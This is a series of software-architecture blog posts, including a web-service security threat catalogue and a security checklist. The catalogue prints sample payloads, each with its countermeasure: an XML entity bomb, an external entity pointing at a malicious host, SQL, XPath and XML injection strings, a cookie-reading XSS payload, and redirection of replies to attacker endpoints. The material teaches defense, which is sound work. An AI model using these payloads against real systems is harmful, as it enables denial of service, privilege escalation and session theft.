Monday, October 22, 2012

"In-house" vs buying a complex "out of box" solutions

This  is my contribution to the religious debate about self-developed "in house" vs buying "out of box"  solutions.

Suppose your manager said enthusiastically that he'd purchase a rich-features "out of box" solution after a visit from a salesman from a famous vendor. Your response is to remind him to not rely on vendor solutions blindly, since a rich-feature third party product might have many disadvantages:

  •  Difficult to configure, difficult to learn.
  • Expensive total cost of ownership: need big resources, each of the product have complexities its own and need to hire expensive specialists for maintenance, upgrade, integration.
  • In reality only small amounts of the features are really used/necessary.
  • Dependency to vendor e.g. if you have an urgent bug but the vendor refuse to create a patch soon.
  • Vendor locking: you can't easily move your solution to other platform. This can be a problem if the vendor discontinue the product or if the license price becomes too expensive.
  • Even though the salesman advertised direct out of the box solution, in reality you need to spend works to integrate this external product with your environment (i.e. interfacing with existing ERP systems/databases in your company).
  • Due to time difference with the vendor's support team, it can be difficult to discuss the problems. Sometime you need to wait for the answer from your question until the next day. Sometime you need to stay out of the normal working hours to debug the problems together with the support.
  • With in house knowledge the root cause analysis and the solutions are more transparent than if you just buy a black box solution.

One of a good trade off is: open source solutions. You don't have to build from scratch / reinventing the wheel but you have more control over the code and its development.

Similar argument holds for clouds solution. Clouds solution might add dependency to the service provider, it will be more difficult to debug the problems for example in comparison with if you have the code & in house knowledge.

Source: Steve's blogs http://soa-java.blogspot.com/

Any comments are welcome :)


Reference:



• Scalability Rules by Abbott & Fisher

Friday, October 19, 2012

Simple capacity planning



  1. identify actual usage rates, max and seasonality (e.g. business calendar). The "usage rates" here is a performance measure (e.g. throughput, processing rate, #simultaneous transactions, storage/memory, network bandwidth Mbps)
  2. you can determine growth rate based on business assumption (e.g. the marketing manager said that the users of our social-apps will grow 10000% in 2 years) or using forecasting technique (e.g. Holt-Winter to predict trend)
  3. determine the headroom gain by optimization / refactoring projects
  4. add 10-20% usage margin (since machines that run with 100% capacity will be unstable)
  5. measure server peak capacity using load test
  6. compute: capacity needed = usage max + grow - headroom gain + usage margin
  7. If the capacity needed is below server peak capacity, you need to buy a better hardware (scale up) or trying to tune or trying to scale out (clustering).
  8. If you choose to scale out, compute the number of server needed = capacity needed / server peak capacity.

Caveats:

  • Plan for 2-4 year, not too long since it's difficult to have good assumptions (e.g. growth rate) for long term. In 5 years you might have another marketing manager with different targets & growth assumptions.
  • The  number of server needed equation above is assuming that the cluster management work (load balancing etc) is negligible compared with the main works.
  • The  number of server needed equation above is assuming that the servers are in separated physical hardware.  If these servers are virtual machines in one physical server then 1+1 is not 2 anymore.
  • Understand which resources that need improvement (e.g. if network bandwidth is the problem adding more servers might not alleviate the problem).
  • If possible  try to scale-up first since it's easier, faster to implement and often cheaper than scale-out. But your vendor salesman might try to convince you that the scale-out upgrade packages is easier to integrate to your deployment environments and applications (just a matter of hiring his consultants), well as my wise grandma once said... always do fact checking to what the salesmen and politicians said.


Source: Steve's blogs http://soa-java.blogspot.com/

Any comments are welcome :)


Reference:

The Art of Scalability by Abbott & Fisher

Thursday, October 18, 2012

Distributed Transactions


The goal

The goal of transactions is to maintain data integrity & consistency  in case of concurrent accesses to data (e.g. multiple web sessions update the same database) and/or distributed resources (e.g. sending data to multiple databases/JMS resources). Typically a transaction has the ACID (atomic, consistent, isolated, and durable) properties in order to guarantee data integrity. 


X/Open Distributed Transaction Processing (DTP) standard


This is a popular distributed transaction standard. The architecture diagram (from Kosaraju, javaworld.com):




The Transaction Manager manages the transaction: manage transaction context, maintain associations with participating resources, conduct 2PC and recovery protocol. You can use open source transaction manager such as Atomikos. Transaction manager is also included in enterprise platforms such as Weblogic.

The Resource manager is a wrapper over a resource (e.g. database, JMS message broker) that implements XA interface for participating in transactions with a transaction manager. The transaction manager keeps track which resources that are participating in the transaction using resource enlistment process. For example in the case of Oracle database you get the resource manager by using an XA capable Oracle JDBC database driver.

TX interface is the interface between your application and the transaction manager. The important methods in this interface are such as for transaction demarcation  (e.g. begin, rollback, commit).

XA interface is the interface between resource managers and the transaction manager. The important methods in this interface are such as start, end, prepare (the first phase of 2PC), and commit  (the second phase of 2PC),.

For more details please read the article by Allamaraju (see the references below.)



Java Transaction API (JTA) and Java Transaction Service (JTS)



The architecture diagram (by Allamaraju):

In this transaction management from Sun, the API (JTA) follows the X/Open DTP interfaces while the transaction manager (JTS) implements the OMG OTS specification. OMG Object Transaction Service (OTS) standard is basically an X/Open DTP with additional features such as CORBA interfaces, nested transactions/finer granularity, synchronization protocol.


2PC (two-phase commit) protocol


This is a type of distributed transaction protocol to achieve data integrity. First the transaction manager issues prepare requests to all resource managers. If all the resource managers ready to commit (thus a kind of voting), the transaction manager will issue the commit request otherwise the transaction manager will issue the rollback.


Java examples:


Oracle JDBC XA driver

In the application, programmatically you can implement 2PC voting by using the statuses returned by resource managers after you call prepare() to all the resource manager via XA interface. Based on this voting you can perform either commit() or rollback() for all resource managers. An example of code (Oracle JDBC): http://docs.oracle.com/cd/E11882_01/java.112/e16548/xadistra.htm#autoId18


Spring with open sources JTA


Spring offer an extra abstraction layer for loose coupling between transaction management implementations & resources (JTA implementations (such as Atomikos, JBossTS), JPA/EJB3, Hibernate, single JDBC, JMS) and the application you write.

Kosaraju wrote a good article (with sample codes) about XA-2PC transaction examples in Spring using open sources JBossTS (usecase: 2 databases) and Atomikos (usecase: 1 database + 1 JMS/ActiveMQ): http://www.javaworld.com/javaworld/jw-04-2007/jw-04-xa.html

This is the sequence diagram (by Kosaraju) of the Atomikos case:

Rather than programmatic, you can better implement transaction using declarative way (either with annotation or AOP) since transaction management is a cross cutting concern across your applications and can be separated from your core business logic. It's interesting how Spring's declarative transaction,  transaction template and the transaction manager hide the complexities of programmatic transaction. In the sequence diagram above, the proxy (which is created by declarative transaction) invokes the transaction manager TX interface (doBegin, do Commit). We see also how the XA interface methods (start, end, prepare, commit) are used in the XA resources (database, jms).

While 2PC provides data integrity, its performance is expensive. You may trade off the data integrity for performance using relaxations of XA-2PC (e.g. XA-1PC, XA-Last resource) or non XA (Shared resource, Best effort 1PC). Please read (with sample codes): http://www.javaworld.com/javaworld/jw-01-2009/jw-01-spring-transactions.html

If you need to learn the basic of Spring transaction (with IoC, annotations, AOP, templates), please read the chapter 16 of the "Spring Recipes" book (with example codes).

Source: Steve's blogs http://soa-java.blogspot.com/

Any comments are welcome :)


Reference:


Nuts and Bolts of Transaction Processing by Allamaraju
http://www.subbu.org/articles/transactions/NutsAndBoltsOfTP.html
http://www.subbu.org/articles/jts/JTS.html


Spring Recipes by Mak



Java Transaction Processing





Java Transaction Design Patterns






XA transactions using Spring by Kosaraju
http://www.javaworld.com/javaworld/jw-04-2007/jw-04-xa.html

Distributed transactions in Spring, with and without XA by Syer
http://www.javaworld.com/javaworld/jw-01-2009/jw-01-spring-transactions.html

Oracle Database JDBC Developer's Guide
http://docs.oracle.com/cd/E11882_01/java.112/e16548/xadistra.htm#autoId18

Where to focus your effort regarding software performance and availability


In order to work effectively we need to focus our efforts on certain areas of the system.
Normally, we make a choice based on risk analysis (e.g. which component have strict requirements/SLA, which components have new technology) and benefit (features which yield product differentiation). In this blog we will see 2 another insights from the literatures.

Performance

Meijer et. al. argued that to improve performace the most important area is the application/query design/implementation  (e.g. avoid select * & cartesian product) . Furthermore, the next focus candidates are (in order of important): database design (e.g. normalization/denormalization, indexes), hardware (e.g. disk defragmentation), database-engine tuning (e.g. SQL Server) and OS-tuning (e.g. shared memory parameters).


So before spending much time digging to SQL database optimization, better to inspect your query first.

High availability

Marcus & Stern argued that for high availability, the most important area is the System Administration Design/Practices e.g. keep it simple, reuse config, separate environtment (prod,test,dev), SLA, pareto, plan, change control, single point of failure, etc.


Surprisingly there are many areas which are more important than services/application design (in order of important): backup, disk/storage management, networking, environment (UPS / backup electricity, cooling, data center racks), client/people/process management.



Please see my software review checklists and database design checklists / guidelines:



Source: Steve's blogs http://soa-java.blogspot.com/

Any comments are welcome :)


References:

Blueprints for High Availability by Marcus & Stern


Improving .NET Application Performance and Scalability by Meier et.al.

Monday, October 1, 2012

How to address software performance issues: Proactive vs Reactive ?


As a Java developer, it was quite fun to learn a lot from the .Net communities, for example "the patterns & practises" series which are provided for free by Microsoft. Here are some lessons to learn from "Improving .NET Application Performance and Scalability" by Meier et.al.

Reactive approach

• You investigate the performance only if you face performance problems after design & coding to avoid premature optimization.
• Your bet is that you need to tune & scale vertically (buying faster/more expensive hardware, more clouds-resources). You experience increased hardware expense / total cost of ownership.
• Performance problems are frequently introduced early in the design and cannot always be fixed through tuning or more efficient coding. Also, fixing architectural / design issues later in the cycle very expensive nor always possible.
• You generally cannot tune a poorly designed system to perform as well as a system that was well designed from the start.

Proactive approach

• You incorporate performance modelling and validation since the early design.
• Iteratively you test your assumption / design decision by prototyping and validating the performance for that design (e.g. Hibernate vs iBatis)
• Evaluate your tradeoffs of performance/scalability with other QoS (data integrity, security, availability, manageability) since the design phase.
• You know where to focus your optimization efforts
• You decrease the need to tune and redesign; therefore, you save money.
• You can save money with less expensive hardware or less frequent hardware upgrades.
• You have reduced operational costs.


Performance modelling process

1.Identify key scenarios (uses cases with specific performance requirement/SLA, frequently executed, consume significant system resources, run in parallel)
2. Identify workload (e.g. total concurrent users, data volume)
3. Identify performance objectives (e.g. response time, throughout, resource utilization)
4. Identify budget (max processing time, server timeout, CPU utilization percent, memory MB, disk I/O, network I/O Mbps utilization, number of database connections, hardware & license cost)
5. Identify processing steps for each scenarios (e.g. order submit, validate, database processing, response to user)

For each steps:

6. Allocate budget
7. Evaluate (by prototyping and testing/measuring): Does the budget meet the objective? Are the requirement & budget realistic? Do you need to modify design / deployment topology?
8. Validate your model.


Performance Model Document

The contents:
• Performance objectives.
• Budgets.
• Workloads.
• Itemized scenarios with goals.
• Test cases with goals.

Use risk driven agile architecture

First, prototype and test the most risky areas (e.g. unfamiliar technologies, strong requirement in SLA). The result will guide your next design step. Repeat the past test again (regression test) in the next spirals for example using continous integration. When you address the most risky areas first, you still have more breath looking for alternatives or renegotiate with the customers in case of problems.



Source: Steve's blogs http://soa-java.blogspot.com/

Any comments are welcome :)


Reference:

"Improving .NET Application Performance and Scalability" by Meier et.al.

Monday, September 17, 2012

Web Service Security: Threats & Countermeasures

 

Denial of Service (DoS)


Oversize payload / Recursive XML

<attack1>
  <attack2>
        .... nested 10000 elements
            <attack10002> .... big data ....  <attack10002> ....
Countermeasure: limit the message size with gateway/firewall, XSD restriction length, limit nested element deep, don't use maxoccurs="unbounded" in XSD.
While we can also limit the message using application-server setting or XSD validation in the proxy, it's better to reject the messages  as early as possible (e.g. in the gateway with XML firewall) before the message burden the load balances and application-servers.
Use throttling (also in the log file generation).

Entity Expansion / XML bomb

Excessive/recursive reference to entity to overwhelm the server, e.g.
<!DOCTYPE s[
<!ENTITY x0 "hack">
<!ENTITY x1 "&x0;&x0;">
... Entities from x1 to x99... 
<!ENTITY x100 "&x99;&x99;">
]>
...
 <soapenv:Body>
  ...
  <s>&x100;</s>
Countermeasure: reject message with <!ENTITY> tag (or whole DTD tag), use SOAP 1.2, use XML firewall.

XML External Entity DOS

Entity reference to external resources (e.g. a huge file) to overwhelm the server, e.g.
<!DOCTYPE order [
<!ELEMENT foo ANY >
<!ENTITY hack SYSTEM "http://malicious.kom/bigfile.exe" >
]>
...
 <soapenv:Body>
   ...
   <foo>&hack;</foo>
Countermeasure: reject message with <!ENTITY> tag (or whole DTD tag), use SOAP 1.2, use XML firewall.

Malformed XML

To overwhelm the server with exceptions, e.g. omitting XML closing tag or wrong date-time format.
Countermeasure: XSD validation.

Weak XML definitions

e.g. <any> element which allows any additional elements
Countermeasure: prevent the use of <any>.

Buffer overflow

Oversize message to override variables / operation address, DoS attack
Countermeasure: use programming language/frameworks which is more safe regarding buffer overflow (e.g. Java), bounds checking.

Non-content attacks

The DOS attacks described above mainly are content-based by sending malicious / oversize contents. But web services are indirectly also vulnerable to non -content attacks (e.g. SYNC-flood) that will overwhelm the network infrastructure (firewall, switch/router).
Countermeasure: using firewall/switch/router with anti DOS filtering features such as TCP splicing/protocol analyzer, bogus filtering, anomalies detection, rate limiting.


Command Injection


SQL injection

Manipulate the parameters such that it will run a malicious sql statement in the database.
e.g. <password>' or 1=1 </password>
Countermeasure: XSD validation, sanitize

Xpath injection

e.g.
//user[name/text()='Admin' and password/text()='' or '1' = '1'
or use union |  to extend query.
Countermeasure: XSD validation, sanitize


XML Injection

Web service input:
Username: tony
Password: Un6R34kb!e</password><!–
E-mail: --><role>admin</role><mail>s4tan@hackers.com

The result in the xml database:
<user>
    <username>tony</username>
    <password>Un6R34kb!e</password><!--</password>
    <role>guest</role>
    <mail>--><role>admin</role><mail>s4tan@hackers.com</mail>
</user>
So I change the default role guest to admin.

Countermeasure: XSD validation, sanitize (e.g. encode <,>)

XSS using CDATA Injection

Vulnerabilities when you use display the WS responds to web page or evaluate the responds as Ajax objects, e.g.to reveal sessionID in the client cookie:
<![CDATA[<]]>script<![CDATA[>]]>alert(document.cookie) <![CDATA[<]]>/script<![CDATA[>]]>
Countermeasure: XSD validation, sanitize (e.g. encode <,>)

Execute binary files or system call command

The attack methods above (e.g. SQL injectrion, XML injection) can be used to run system commands using the databases / XML processors features (e.g. XSLT exec())
Countermeasure: XSD validation


Malicious Reference

Routing Detour

The attacker change the reference address in http-header/WS-Routing/WS-Addressing, e.g.
<wsa:ReplyTo>
  <wsa:Address>http://hackersWS</wsa:Address>
</wsa:ReplyTo>
Countermeasure: SSL


Reference Redirect

Reference to malicious external reference. e.g.
<sig:Signature>
  ....
  <sig:Reference URI="http://maliciousweb/VERYBIGFILE.DAT">
Countermeasure: prohibit reference to resource outside the document.

Impersonation

Malicious/ web service with the similar interface (wsdl)
Countermeasure: protect the web service reference from man in the middle attack with SSL. Use certificate authentication.

Authentication (WSS or transport-level)


Weak password

The attacker guest the password (e.g. using brute-force / dictionary attack)
Countermeasure: use stronger authentication (e.g. certificate based,  multi factor authentication), enforce strong password (e.g. minimum length & character sets), lockout account after multiple authentication failures, don't give clue to the hackers e.g. "valid username but wrong password".

Reply attack

The attacker capture the authentication token (e.g. password, session-token) and then reuse it in his request.
Countermeasure: one time nonce/password digest, SSL, use certificate-based authentication


Authorisation


URL transversal attack

e.g. the hacker knows the Restful WS endpoint
GET http://library/booklist/?title="hacking"
the attacker might try
GET http://library/secretdocumentlist/?title="hacking"
Countermeasure: ACL on the URL tree.

Web parameter manipulation attack

REST WS e.g.
GET http://library/secretdocumentlist/?role="employee"
GET http://library/secretdocumentlist/?role="boss"
Countermeasure: ACL. Don't make security decision base on URL params (sessionID, username, role) .

Illegal Web method

e.g. The attacket know the Restful-WS url for GET operation to get the data, he can try POST operation to modify the data.
Countermeasure: ACL for method access.


Encryption


Weak cryptography

Countermeasure: Use well-proven encryption algorithms (e.g. AES) in well-proven libraries instead of inventing and implementing your own algorithm. Protect your key.

Failure to encrypt the messages

You don't use encryption, the attackers can capture your authentication token and use it to impersonate you.
Countermeasure: Use encryption (e.g. SSL or WSS & XML-Encryption)

Messages are not protected in the immediateries

You use point to point encryption SSL but inside the intermmediateries  your message is decrypted. The immediateries can read your sensitive data and use it for his advantage.
Countermeasure: Use end to end encryption (WSS & XML-Encryption)

Data tampering

An attacker modifies your message for his advantage.
Countermeasure: signature and encryption (WSS & XML-Encryption)

Schema poisoning/ metadata spoofing

Maliciously changing the WSDL (e.g. to redirect the service address to malicious web, to manipulate data types, to remove security policy) or manipulating the security policy document (to lower security requirement), e.g.
<wsdl:port name="WSPort" binding="tns:WSBinding">
  <soap:address location="http://hacker.kom/maliciousWS"/>
</wsdl:port>
Countermeasure: check the authenticity of metadata (e.g. signing), use SSL to avoid man in the middle attack

Repudiation

A client refuses to acknowledge that he has misused the user-aggreement (e.g. perform dictionary attack against web-service authentication).
Countermeasure: keep client message signature in the log. Protect the log files.



Infomation disclosure



WSDL disclosure

WSDL contains many information for the attacker (operations, message format).
Countermeasure: protect the wsdl endpoint with ACL/firewall. Use robot.txt to avoid the wsdl appears in google.

UDDI disclosure

UDDI gives the attacker information about wsdl location.
Countermeasure: don't publish the wsdl in UDDI

Error message

Attacker send failure messages/DOS attack such that the web service will return error messages which can reveal information (e.g. database server address, database vendor).
Countermeasure: don't publish sensitive information (e.g. connection string) in the error message. Sanitize error message (e.g. the stacktrace)


Testing Tools

• SOAPUI
• WSDigger
• WSFuzzer



Security checklist:

http://soa-java.blogspot.nl/2012/09/security-checklists.html


Web service message level security WS-Security (WSS) and transport level security (TLS):
http://soa-java.blogspot.nl/2013/04/web-service-security-message-level-vs.html


Please share your comment.

Source: Steve's blog http://soa-java.blogspot.com





References:

• SOA Security by Kanneganti





Oracle Service Bus 11g Development Cookbook by Schmutz & Biemond et.al.





Developing Web Services with Apache CXF and Axis2 by Tong


• Ws-Attacks.Org
• Web Service Hacking, Progress Actional Whitepaper
• OWASP Web Service Security Cheat Sheet
• Attacks on Web Services By Bidou
• Web Services Security By Negm, Forum Systems Inc.
• OWASP Top Ten Web Services Vulnerabilities By Morana
• Http://Www.Soapui.Org/Soap-And-Wsdl/Web-Service-Hacking.Html
• NIST guide secure web service
•  http://clawslab.nds.rub.de/wiki/index.php/XML_C14N_Entity_Expansion
•  http://clawslab.nds.rub.de/wiki/index.php/XML_External_Entity_DOS
• http://projects.webappsec.org/w/page/13247004/XML%20Injection
• http://clawslab.nds.rub.de/wiki/index.php/Routing_Detour
• http://clawslab.nds.rub.de/wiki/index.php/Reference_Redirect

Tuesday, September 11, 2012

Security Checklist


This list is mainly for developers, but can be useful also for architects, security managers and testers. Mainly from design and coding perspective, enriched with configuration, operational and human process aspects.

Please see also "Web services security threats": http://soa-java.blogspot.nl/2012/09/web-service-security-threats.html

This is a part of the blog series about (SOA) software guidelines. For the complete list of the guidelines (i.a. about design, security, performance, operations, database, coding, versioning) please refer to: http://soa-java.blogspot.nl/2012/09/soa-software-development-guidelines.html

General design principles

• Prefer to use policy based declarative security instead of programmatic security: separation between security configuration and business code. Beware that both business code and the security configuration typically have different life cycles and implemented/managed by different people.
• Use declarative security instead of programative, separation between application logic and the cross-cutting concerns (e.g. security, logging).
• Prefer to use message level / end-to-end security (e.g. WSS) than transport level / point-to-point security (e.g. SSL): to protect the messages in the intermediate services and flexibility to protect only portions of the messages (due to performance).
• Does the service/data need authentication, authorization, signature/non-repudiation, encryption?
• If the web service is used to wrap a legacy service: aware about vulnerabilities of the legacy service, aware about how to reconcile the security model (e.g. credentials/roles mapping) or some legacy application doesn't have any security provisioning at all
• Use white lists instead of black lists
• Throttling the requests / messages-size to prevent DoS
• Defense in depth: don't rely on a single layer of security (e.g. apply also authentication & SSL instead of protecting the infrastructure with firewall only)
• Check at the gate (e.g. validate and authenticate early)
• Secure the weakest link
• Compartmentalize: isolate and contain problems e.g. firewall/DMZ, least privileged accounts, root jail.
• Secure by default e.g. close all ports unless it's necessary
• Communicate the assumptions explicitly e.g. firewall will secure all our internal services with no ports open to outside world
• Understand how the infrastructure restriction (e.g. firewall filtering rules, supported protocol, ports allowed) will affect your design
• Understand the organizational policies/procedure (e.g. what applications and users are allowed to do) so you don't have acceptance problem by production team because your services breach these policies
• Understand the deployment topology due to your organization structure (e.g. your company has many remote branches offices connected to the main server-farm via VPN)
• Understand the identity propagation / credential mapping across trust boundaries (e.g. apache web account >  weblogic web service account  > database account)
• Security measures (e.g. authentication, encryption, signing) will cost performance (increasing processing cost and message size) as well as other qualities attributes such as usability, maintainability (e.g. distribution of certificates) and operability (e.g. security service / identity provider failure). So consider the trade off between security and other quality attributes regarding your company infrastructure and policies (e.g. if the firewall policy in your company is very strict, you might lessen the encryption requirement for the intern services).
• While applying security by design, I still keep the "security through obscurity" to some extent, e.g. I will not publicly publish the security architecture of my company (the endpoints/ports, wsdl/schema, libraries used, etc).


Security process & management


• Design & code review (e.g. login & logout mechanism, authorization logics in each Struts actions)
• Include security in your development process (e.g. SDL), use thread modeling during analysis & design phase.
• Make sure that your programmers and network/servers administrators capable to deal with security issues, arrange training if necessary.
• Make sure that the operational team know the contingency procedure (e.g. what to do in case of DoS attack or virus spreading in your network). Have contingency plan / crisis management document ready: procedures to where the configurations are, how to isolate, handle failures, how to restart in safe mode, how to turn-on/turn-off/undeploy/deploy modules/services/drivers, who/how to get informed, which services/resources have priorities (e.g. telephony service, logging service, security services).  Have this document in multiple copies in printed version (the intranet and printer may not work during crisis). The crisis team should have exercised the procedures (e.g. under simulated DOS attack) and measured the metrics during the exercise (e.g. downtime, throughput during degradation mode).
• Plan team vacation such that at least one of the crisis team member always available. Some organizations need 24/7 full time dedicated monitoring & support team.
• Hire external party for penetration testing and security audit.
• Document incidents (root causes, solutions, prevention, lesson to learn), add the incident handling procedures to the crisis management document.
• Establish architecture policies for your department. Establish a clear role who will guard the architecture policies and guidelines e.g. the architects using design/code review.
• For maintainability & governance: limit the technologies used in the projects. Avoid constantly changing technology while still open to the new ideas. Provide stability for developers to master the technology.
• Establish change control. More changes means more chances of failures. You might need to establish a change committees to approve the change request. A change request consists of why, risks, back-out/undo plan, version control of configuration files, schedule. Communicate the schedule with the affected parties before.


 Authentication

• Prefer to use stronger authentication (e.g. 2-way X.509 certificate authentication) than basic authentication (password based).
• If you use basic authentication use SSL or password digest to protect the password.
• Credentials, authentication token / password are stored with encryption / salted hash
• Force users to use strong password and/or multi factor authentication. Use password expiration feature.
• Avoid to send passwords to external application (e.g. when an external application need to access resource services), use OAuth instead.
• Disable test and example accounts.
• Credentials (e.g. password, service accounts) are centralized (e.g. in an LDAP server) for better manageability. Redundancy (e.g. fail-over clusters) can be used to prevent single point of failures.
• If you use certificate based certification: always check the validity of the certificates (e.g. using CRL).
• Prevent brute-force / dictionary attacks (e.g. for add a new user webpage) using CAPTCHA, email validation, locking after max-attempts.
• Using SSO / centralized security service: users don't have to have many accounts/passwords, users don't have to share their passwords with many applications/resources, the developers don't have to maintain multiple authentication mechanisms in different systems. With federated Identity provider, you can centralized the credentials across organizations.
• Use standard security solutions (e.g. OAuth, OpenID, SAML to exchange security messages), don't reinvent new wheels. It's more risky to implement your own security solution than using a well tested solution.
• Authentication should be in the server side (instead of client side/JavaScript).
• Avoid having password as plain text in the configuration files (e.g. fstab), save passwords in the password files / credentials files and protect these files (chmod 600 and encryption if possible).
• Beware with remote OS authentication for example in Oracle database since an attacker can try to connect using a username that has the same name with the OPS$account in the database.
• Send confirmation when a user change his/her password, email, mobile or other sensitive personal data.


Session management

• Limit the life time of cookie or authentication/authorization tokens.
• Prevent replay attack by using one time nonce.
• Prevent CSRF using secret nonce as a request parameter (e.g. for OAuth) and validate the nonce in the server side, beware that a nonce cookie doesn't prevent CSRF.  Prevent CSRF by informing the user about the action (e.g. "you're about to transfer $100") and ask for reconfimation/reauthentication.
• Session ID is strongly random generated, at least 128 bits length.
• Appropriate logout mechanisms (e.g. invalidate sessions, clear all cookies).
• Force user to re-authenticate for sensitive operations (e.g. change password).
• Hide sessionID (e.g. in secure cookies instead of in GET url parameter or hidden form field).
• Validate the security token with HMAC or encrypt the token e.g. session ID cookies must be encrypted / using HttpOnly secure cookies.
• Limit the cookies domain & path.
• Always provide logout feature. Make sure that logout is properly done (invalidate session, remove session cookies).
• Issue a new session id for each login action (to prevent session fixation).
• Identify possible session hijacking for multiple IP addresses / geolocation which are simultaneously use the same sessionID.
• Use anti caching http header (Cache-Control: no-cache and  Pragma: no-cache).
• Use IE HttpOnly to prevent client (java)scripts query the cookies.
• Set the session timeout.
• Appropriately handle requests which indicate security check circumvention or an obvious attempt for privilege escalation,e.g. in case of requests with invalid sessionID: log the sender's IP address, invalidate the session and redirect to login page.

Authorisation

• Determine which web service operations or which web page/actions need authorization.
• Determine the privilege/roles for your service/web.
• Strong ACL (in operating system/file system level, application level, servers).
• Apply the least privilege principle, don't use admin account for daily operations (e.g. read database), create specific accounts for specific operations (e.g. CreditcardReadOnlyAccount, UpdateInventoryAccount, WebShopInventoryReadOnlyAccount).
• Audit/log administrator activities (e.g. create new user, grant).
• Remove the default accounts & ACL in your system if possible (e.g. remove BUILTIN/Administrators group from SQL Server login) or rename the default (administrative) accounts if possible (e.g. sa user  in SQLServer).
• Run the server in root jail.
• Centralized authorization (e.g. using OAuth) to reduce the burden of reconciling different access-right in different systems across trust-boundaries (e.g. apache  role=boss mapped to database role =  readwriteEmployeeData).
• Using ACL on URL tree and web methods allowed e.g. the REST url http://myweb.kom/myprofile should only be accessible for me & myfriends only for GET method and for me only for the PUT method.
• Use ACL to protect directory and files from transversal attack.
• Use ACL per user/session to filter direct & undirect references (e.g. links).
• Authorization check in all protected GUI operations (e.g. Struts-actions, Admin html page) and web service operations.
• Beware of the system calls feature in your framework that can be used for hostile purposes, e.g. Runtime.exec() in Java or store procedure xp_cmdshell in SQLServer. Solution: root jail, least privelege accounts, ACL, disable unnecessary features, run the application server with read-only privilege on web-root directory (e.g. Apache  nobody user).
• Make sure account lockout doesn't result in DoS.
• Check (e.g. using a white-list) all references submitted via input (e.g. webservice request, file, database).
• Avoid url-jumping (e.g. Checkout -> Delivery instead of Checkout -> Payment -> Delivery) by checking the last visited page (e.g. in session variable ).
• Remove guest account / anonymous login if it's not really needed. At least review the guest / public account, remove unnecessary privileges from this account.
• Review the ACL (& authentication credential lists) regularly to detect forgotten change actions (changed roles, departed employees)


Confidentiality, Encryption, Signing

• Encrpt/hash sensitive data e.g. bank-accounts in the LDAP production copy used for development/test.
• Use message-level XML-Encryption to protect sensitive data in the intermediaries / external proxies / clouds. The point-to-point SSL doesn't prevent the intermediaries to read the sensitive data. With WS-Encryption it's also possible to encrypt only a part of the messages, thus more flexible (e.g. in case the intermediary proxy need to peek the unencrypted part). The message-level security (e.g. WSS Authentication, XML-Encryption, XML-Signature) is independent to the protocols thus it offers more flexibility to send SOAP messages across different protocols (e.g. http, jms, ftp).
• Use signature and saved logs for non-repudiation
• Use signature for message integrity
• Protect the key (e.g. don't backup the key and the encrypted data in the same backup-tape)
• Use well-proven encryption algorithms (e.g. AES) in well-proven libraries instead of inventing and implementation your own algorithm.
• Don't register sensitive services to UDDI
• Use robot.txt to avoid the sensitive files (e.g. WSDL, source codes, configuration files, confidential documents)  appears in Google.
• Don't store secrets in the client side (e.g. hidden form field, cookies, HTML5 storage). If you really need to store sensitive data in the client (or to pass them in the message): obfuscate the name and encrypt/hash the value. Beware of persistent cookies (the information will be written to the file system hence can be read by malicious users)
• Secure backup (e.g. with encryption), store it in a secure place.
• Avoid mixed SSL - nonSSL web sites (it causes user warning in the browser and can expose user ID.) Use CA-valid certificates (to avoid user warning in the browser).
• An example of deployment pattern: using DMZ proxy servers between outer and inner firewall to expose (enterprise) services to public. The servers in de DMZ are treated as bastion hosts, special attentions are given to protect these servers against attacks.
• Load sensitive data on demand, clear them from memory as long as you don't need them anymore. Don't keep/save them (e.g. in session variables or cache) if it's not really necessary.
• Use enough key size. Securely distribute, manage and store the keys. change the keys periodically.

Coding

• Limit accessibility: e.g. declare classes/methods/fields as private instead of public
• Declare sensitive classes/methods/fields as final so they can't be overwritten
• Don't write secrets in the code (e.g. database connection string), beware that the secret strings in the compiled classes can still be read using reverse engineering tools
• Remove test code, example code, example database
• Using framework/library functions can be more safe than building your own function (e.g. using jquery .ajax to process json response from ajax calls instead of plainly using eval). But make sure that the third-party libraries that you use is save (e.g. code review) and follow the security newsgroup for that library.
• Use jsp comment tag instead of html comment to avoid the code comments will be visible to the client
• Use prepared statement for querying database to protect against sql injection (and better performance).
• If you need to redirect via url parameter consider using mapping value instead of the actual url link. Make sure that the redirect url is valid and authorized for the user.
• Beware of null insertion, e.g. circumvent  if ($user ne "root) using user="root/0" in Perl. Solution: validate inputs.
• Beware of buffer overflow attack (e.g. to override variables / operation address, DoS attack). Solution: use programming language/frameworks which is more safe regarding buffer overflow (e.g. Java), bounds checking
• Beware of race condition exploitation for example to overwrite the username of another individual's session. Solution: avoid sharing variable between sessions via global variables / files / database /registry entry.
• Use CAPTCHA to distinguish genuine human inputs from robot inputs.

Configuration / operation management

• Protect / restrict access to configuration files & admin interfaces.
• Encrypt/hash sensitive configuration data (e.g. database connection, password).
• Centralized security management (e.g. OPSS for Oracle Fusion Middleware, JAAS for java applications) instead of managing different configurations spreading from GUI, web services, database.
• To prevent DOS attack: restrict message size (e.g. default 10MB in Weblogic) and set server timeout. It's better to countermeasure DOS as early as possible (e.g. in the firewall/gateway with Cisco rate limit) before the load balancers & application servers.
• Run application-servers/database/ldap with minimum privilege, avoid running the server as root.
• Reduce attack surface: disable unnecessary daemons, ports, users/groups, apache-modules, network storages in the server. Disconnect network file servers if it's not necessary
• Update the OS/applicativon-servers/database/Ldap/libraries with latest (security) patch
• Remove the temporary files (e.g. hibernate.properties.old or httpd.conf.bak)
• Audit/scan regularly for new vulnerabilities. It's not enough to do penetration test only during the first acceptance-test since the attack surface can grow with time.
• Follow the security newsgroups/websites (e.g. BugTraq), discuss the potential new threats with your security manager.
• Monitor the system lively for early detection of anomalies (e.g. multiple malicious logins from a certain IP address, unusual frequent web/soap requests to a certain url). Use Intrusion Detection System (IDS).
• Change the default application ports. Close the unnecessary ports with firewall.
• Minimize the allowed IP address source by using firewall, Apache httpd file, Weblogic connection filter.
• Use separate environments  production, test, development, sandbox playground (e.g. to test prototype or try new viral algorithms.) Each components in these environments have different credentials than in other environment. If the data in the test & development are based on production data (to make the test more realistic) the sensitive production data should be masked.
• The (security) test configuration should be identical to the production (e.g. firewall configurations, networks topology, timeout setting), for example you can use VMWork's LabManager to achieve this.
• Hide server information in http header (e.g ServerSignature Off in apache.conf).
• Turn off http trace feature (e.g. using Apache mod_rewrite), turn off debugging feature in production.
• Centralized security management (e.g. in case of Weblogic infrastructure: using OWSM with security policies) for  better manageability, reduce mistake.
• Use configuration change detection system (e.g.  monitor admin activities log files, Tripwire.)

Data

• Minimum data presented to any business request
